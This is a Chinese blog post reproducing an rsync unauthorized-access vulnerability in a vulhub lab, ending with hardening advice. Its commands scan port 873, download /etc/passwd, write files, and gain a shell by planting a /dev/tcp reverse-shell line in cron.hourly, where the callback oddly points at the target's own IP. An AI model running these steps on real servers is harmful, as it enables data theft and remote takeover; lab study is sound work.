xfeng

xfeng

Sporting | Reading | Technology | Recording
github
bilibili

rsync未授权访问漏洞复现

1. 漏洞简介#

rsync 是 Linux/Unix 下的一个远程数据同步工具,可以在堕胎主机上同步文件和目录。默认运行在 873 端口。由于配置不当,导致任何人可未授权访问 rsync,上传本地文件,下载服务器文件。

rsync 未授权访问带来的危害主要有两个:

  • 一是造成了严重的信息泄露
  • 二是上传脚本后门文件,远程命令执行

2. rsync 配置文件#

image

参数说明
uid此参数指定与该模块之间的文件传输的用户名或用户 ID
gid此参数指定在访问模块时将使用的一个或多个组名称 / ID
use chroot若为 true,则 rsync 在传输文件之前首先 chroot 到 path 参数所指定的目录下。这样做的原因是实现额外的安全防护,但是缺点是需要 root 权限,并且不能备份指向 path 外部的符号连接所指向的目录文件
max connections指定该模块的最大并发连接数量以保护服务器,超过限制的连接请求将被告知随后再试
syslog facility指定 rsync 发送日志消息给 syslog 时的消息级别
pid filersync 的守护进程将其 PID 写入指定的文件
log file指定 rsync 守护进程的日志文件,而不将日志发送给 syslog
path指定当前模块在 rsync 服务器上的同步路径,该参数是必须指定的
comment给模块指定一个描述,该描述连同模块名在客户连接得到模块列表时显示给客户
read only指定是否允许客户上传文件。若为 true 则不允许上传;若为 false 并且服务器目录也具有读写权限则允许上传
auth users指定验证用户名,可以不设置,不设置默认不用密码,设置的话安全性更高点
secrets file指定密码文件,如果设定验证用户,这一项必须设置,设定密码权限为 400
hosts allow设置可以允许访问的主机,可以是网段,多个 Ip 地址用空格隔开

3. rsync 常用命令#

-a, --archive	归档模式,表示以递归方式传输文件,并保持所有文件属性,等价于 -rlptgoD (注意不包括 -H)
-v, --verbose 详细输出模式
-r, --recursive	对子目录以递归模式处理
-l, --links	保持软链接文件,加上这个参数,同步过来的文件会保持之前的软链接属性不变
-H, --hard-links 保持硬链接文件
-p, --perms	保持文件权限
-t, --times	保持文件时间信息
-g, --group	保持文件属组信息
-o, --owner	保持文件属主信息 (super-user only)
-D 保持设备文件和特殊文件 (super-user only)
-e, --rsh=COMMAND 指定替代 rsh 的 shell 程序
-z, --compress 在传输文件时进行压缩处理
--stats 给出某些文件的传输状态
--progress 在传输时显示传输过程
--timeout=TIME 同步过程中,IP超时时间,单位为秒
--exclude=PATTERN 指定同步时需要过滤掉的文件或子目录(即不需要同步过去的),后面直接跟不需要同步的单个文件名或子目录(不需要跟路径) ,过滤多个文件或子目录,就使用多个--exclude
--exclude-from=FILE	指定同步时需要过滤掉的文件或子目录,后面跟文件(比如/root/exclue.txt),然后将不需要同步的文件和子目录放到/root/exclue.txt下
--include=PATTERN 指定需要传输的文件匹配模式
--include-from=FILE	从 FILE 中读取包含规则
--copy-unsafe-links	拷贝指向SRC路径目录树以外的链接文件
--safe-links 忽略指向SRC路径目录树以外的链接文件(默认)
--existing 仅仅更新那些已经存在于接收端的文件,而不备份那些新创建的文件
--ignore-existing 忽略那些已经存在于接收端的文件,仅备份那些新创建的文件
-b, --backup 当有变化时,对目标目录中的旧版文件进行备份
--backup-dir=DIR 与 -b 结合使用,将备份的文件存到 DIR 目录中
--link-dest=DIR 当文件未改变时基于 DIR 创建硬链接文件
--delete 删除那些目标目录中有而源目录中没有的多余文件。这个是rsync做增量方式的全备份的最佳选择方案!!!!!
--delete-before 接受者在输出之前进行删除操作。即先将目标目录中文件全部删除,再将源目录文件拷贝过去。这是rsync保持目标目录跟源目录一致的方案!!!
--delete-after 在同步操作之后做比较,删除那些目标目录中有而源目录中没有的多余文件
--delete-excluded 删除目标目录中那些被该选项指定排除的文件
--ignore-errors	即使出现 I/O 错误也进行删除
--partial 保留那些因故没有完全传输的文件,以是加快随后的再次传输
-P	等价于 --partial --progress
--delay-updates	将正在更新的文件先保存到一个临时目录(默认为 “.~tmp~”),待传输完毕再更新目标文件
-q, --quiet 精简输出模式
-h, --human-readable 输出文件大小使用易读的单位(如,K,M等)
-n, --dry-run 显示哪些文件将被传输
--list-only 仅仅列出文件而不进行复制
--rsyncpath=PROGRAM 指定远程服务器上的 rsync 命令所在路径
--password-file=FILE 从 FILE 中读取口令,以避免在终端上输入口令,通常在 cron 中连接 rsync 服务器时使用
--version 打印版本信息
--port=PORT 指定其他的rsync服务端口
--log-format=formAT 指定日志文件格式
--password-file=FILE 从FILE中得到密码
--bwlimit=KBPS 限制I/O带宽,KBytes per second
--help 显示帮助信息
-4, --ipv4 使用 IPv4
-6, --ipv6 使用 IPv6

4. 漏洞复现#

4.1 靶场搭建#

使用 vulhub 靶场来复现该漏洞

wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip 

unzip vulhub-master.zip

cd vulhub-master/rsync/common
sudo docker-compose up -d 

4.2 nmap 扫描目标系统是否开放 rsync 服务#

用 nmap 来扫描目标系统是否开放 rsync 服务和漏洞扫描

sudo nmap -p 873 192.168.110.128

sudo nmap -p 873 --script rsync-list-modules 192.168.110.128

4.3 列出目标服务器的同步目录#

用 rsync 命令列出和查看服务器的同步目录

rsync 192.168.110.128::

rsync rsync://192.168.110.128:873/src

rsync 192.168.110.128::src

4.4 任意文件下载#

可以下载 /etc/passwd 文件

sudo rsync -av 192.168.110.128::src/etc/passwd ./

4.5 任意文件写入#

向服务器上传文件

sudo touch 1.txt && sudo chmod 777 1.txt && echo "test" >> 1.txt

sudo rsync -av 1.txt rsync://192.168.110.128:873/src/1.txt

rsync rsync://192.168.110.128:873/src

4.6 利用任意文件写入、下载功能来 getshell#

sudo rsync rsync://192.168.110.128:873/src/etc/crontab ./


sudo touch shell && sudo chmod 777 shell && echo "/bin/bash -i >& /dev/tcp/192.168.110.128/8888" >> shell

rsync -av shell rsync://192.168.110.128:873/src/etc/cron.hourly

nc -lvp 8888

5. 漏洞修复#

  • 更改 rysnc 默认配置文件 /etc/rsyncd.conf,添加或修改参数:
    • 访问控制;设置 host allow,限制允许访问主机的 IP。
    • 权限控制;设置 read only,将模块设置成只读。
    • 访问认证;设置 auth、secrets,认证成功才能调用服务。
    • 模块隐藏;设置 list,将模块隐藏。

6. 参考视频#

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。